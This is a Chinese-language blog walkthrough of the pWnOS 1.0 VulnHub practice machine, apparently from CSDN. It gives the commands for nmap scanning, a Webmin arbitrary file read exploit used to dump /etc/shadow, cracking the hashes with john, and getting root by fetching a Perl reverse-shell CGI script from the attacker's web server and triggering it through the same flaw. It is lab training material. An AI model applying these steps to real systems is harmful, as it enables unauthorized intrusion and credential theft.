红队笔记11:pWnOS1.0打靶流程之webmin漏洞超级利用(vulnhub)

文章详细描述了如何通过主机发现和端口扫描发现Webmin服务器的漏洞,重点分析了10000端口的文件泄露漏洞,并利用此漏洞执行反弹shell代码以实现提权。作者还探讨了web端漏洞在提权过程中的作用和Apache权限问题。
摘要由CSDN通过智能技术生成

目录

开头:

1.主机发现和端口扫描

2.攻击优先级分析:

3.10000端口-webmin文件泄露漏洞利用

什么是webmin?

4.提权-webmin文件泄露漏洞执行cgi后缀perl反弹脚本

为什么webmin文件泄露漏洞可以执行反弹shell代码?

5.总结:


开头:

学习的视频是哔哩哔哩红队笔记:

「红队笔记」靶机精讲:pWnOS1.0 - 在Perl CGI架构下构造反弹shell,你可以吗?_哔哩哔哩_bilibili

打靶时参考文章和本文借鉴文章:

红队打靶:pWnOS1.0打靶思路详解之webmin漏洞利用(vulnhub)_pwnos1.0靶机-CSDN博客

靶机下载链接见:

pWnOS: 1.0 ~ VulnHub

下载成功后用vmware打开,跳出提示框请选择“我已移动虚拟机”,然后设置为NAT模式,否则无法扫描到靶机!靶机启动后的界面如下:

1.主机发现和端口扫描

参考链接nmap主机发现和端口扫描:渗透测试:主机发现和端口扫描的方法总结(nmap+arp-scan+ping命令+nc.traditional+伪设备连接)-CSDN博客

sudo nmap -sn 10.10.10.0/24
sudo nmap -min-rate 10000 -p- 10.10.10.129
sudo nmap -sU -p- 10.10.10.129
sudo nmap -sT -sV -O -p22,80,139,445,10000 10.10.10.129
sudo nmap --script=vuln -p22,80,139,445,10000 10.10.10.129

 nmap搜索的信息:

1.开放了22,80,139,445,10000端口,其中80端口web服务,10000端口部署看webmin

2.通过nmap脚本扫描在80端口枚举出一些目录,10000端口webmin存在文件泄露漏洞

2.攻击优先级分析:

1.10000端口,80端口,两个端口都开放了web服务,可以一起测试,且10000端口在nmap脚本扫描时发现存在文件泄露漏洞,可以获取敏感信息。

2.其他端口。

3.10000端口-webmin文件泄露漏洞利用

80:

80端口开放的web就是一些简单的动态页面,存在一个文件包含漏洞但是没有其他漏洞配合,危害不高。

10000:10000端口是个登录页面,尝试是否存在sql注入,不存在,我看这个页面感觉像是个CMS,

什么是webmin?

Webmin 是一个基于 Web Linux/Unix系统管理软件。 简单地说,就是你可以打开一个浏览器,然后输入 Webmin 的管理地址,在打开的页面中就可以管理你的 Linux/Unix系统了, Webmin 是由一个简单的 Web 服务器和一些 CGI 程序组成的系统, Web 服务器和所有 CGI 程序都是使用 Perl 5 ,并且不使用非标准的 Perl 模块。

这也算是一个CMS,既然是CMS就有可能会存在历史漏洞

Searchsploit Webmin

存在很多漏洞其中我们重点关注刚刚nmap扫描出来的 文件泄露漏洞 发现有两个,应该是两种脚本写的exp。

searchsploit webmin -m 2017.pl

将exp文件下载下来后,用对应脚本的解释器 直接编译文件 ,就会有帮助文档:

perl 2017.pl

perl ./2017.pl 10.10.10.129 10000 /etc/passwd 0

 构造payload,使用http 读取/etc/passwd文件

过文件泄露文件,可以看到passwd文件,其中下面的几个用户有bash环境

再看看能不能看见shadow 文件

perl ./2017.pl 10.10.10.129 10000 /etc/shadow 0

 

也可以看见shadow文件,可以看见用户bash环境的用户和root都有密码(为什么能看见shadow文件嘞?一般shadow文件只有管理员权限才能查看,说明通过这个文件泄露漏洞读取用户root权限,这为后门的提权也提供了思路

题外话:其实在web层面也有个文件包含漏洞

 这个页面url中有很多参数,在平时渗透测试中要尝试是否存在漏洞比如sql注入,文件包含等漏洞 还要输入框也是可以测试的

当我们在connect参数哪里改为‘ 报错显示出来 include 函数,在php中该函数可能存在文件包含,可以尝试一下文件包含,这也告诉我们报错会显示出来一些重要信息 

存在文件包含,但是我尝试了无法包含shadow文件,这也告诉我们,之前webmin文件泄露漏洞是以root权限读取文件。

ok题外话结束。

使用john解密shadow密码文件

将有用户的密码的写入文件hash,然后使用john解密

 Vmware : h4ckm3

ssh登录:

获得初步权限,开始报错是因为密钥算法不匹配

4.提权-webmin文件泄露漏洞执行cgi后缀perl反弹脚本

确定是目标主机ip地址,vmware用户shell,是一个功能型用户,linux kernel 版本2.6.22。

Sudo -l 

没有权限运行sudo,这条路就走不通了,之后查看了定时任务,phpadmin配置文件,mysql配置文件, 都没有找到数据库密码,我没有方法了只有内核提权了,通过看wp,提权方法还是利用webmin文件泄露漏洞,执行cgi后缀的perl反弹shell文件。但是我有一个疑惑

为什么webmin文件泄露漏洞可以执行反弹shell代码?

在webmin 特定版本下的文件泄露漏洞的前提下,才会拥有这种既可以读文件、又可以执行 cgi 后缀的 perl 脚本文件的现象,其余时候出现的任意文件泄露漏洞都只能读文件。

cgi:它是一段程序,运行在服务器上

CGI程序可以是Python脚本,PERL脚本,SHELL脚本,C或者C++程序等

既然我们知道了提权方法和原因,开始提权:
1.构造perl反弹shell:

将kila中自带了perl反弹shell脚本拷贝下到当前目录,并修改后缀为cgi

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi

修改ip和端口:

开启web服务

python -m http.server 8080

在目标靶机上wget下载,tmp目录下有写入权限

Chmod +x 赋予执行权限

利用文件泄露漏洞,读取上传的cgi文件

可以看到反弹shell成功了,只是交互不完整。

已经是root用户了 

5.总结:

这篇靶场在提权的利用有点让人意外,利用webmin文件泄露漏洞,因为可以读取shadow文件,就知道,漏洞利用时是root权限,我们构造perl反弹shell脚本,并修改cgi后缀,上传服务器,通过文件泄露漏洞读取shell.cgi文件,却以root权限执行了cgi文件,成功反弹root权限shell.

打靶总结:

1.主机发现和端口扫描:常规思路,根据漏洞脚本扫描的结果,重点关注80和10000端口。

2.80端口web渗透:到处翻找,观察url参数,可能存在文件包含,成功读取了/etc/passwd。

3.10000端口webmin文件泄露漏洞:根据nmap提示,查找webmin的漏洞,最终成功读取/etc/shadow。

4.john哈希密码碰撞:用john破解第三步的得到的密码哈希,成功拿到了vmware用户的密码。ssh登录成功,获得初始权限。

5.提权:在vmware账户搜索一番无果后,回想到第三步的漏洞利用过程,既然能读取shadow文件,说明具有root权限。可以再次利用这个漏洞提权。在靶机上传可执行的反弹shell文件shell.cgi,并用Webmin任意文件读取漏洞利用读取并执行这个shell.cgi,即可以root权限触发反弹shell指令,相当于实现了提权。

我学习到了:

1.在提权的时,web端的漏洞也是可以为我们提权提供思路。

2.apache以root用户启动,但fork出来的工作进程会切换到www-data,所以读不到/etc/shadow,拿到的reverse shell也是www-data 

本篇靶场还有解法2,其解法是hard模式包含-ssh无密登录,ras伪随机数碰撞,shellshock-webmin文件泄露漏洞配合提权 ,想学习请看下一篇

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值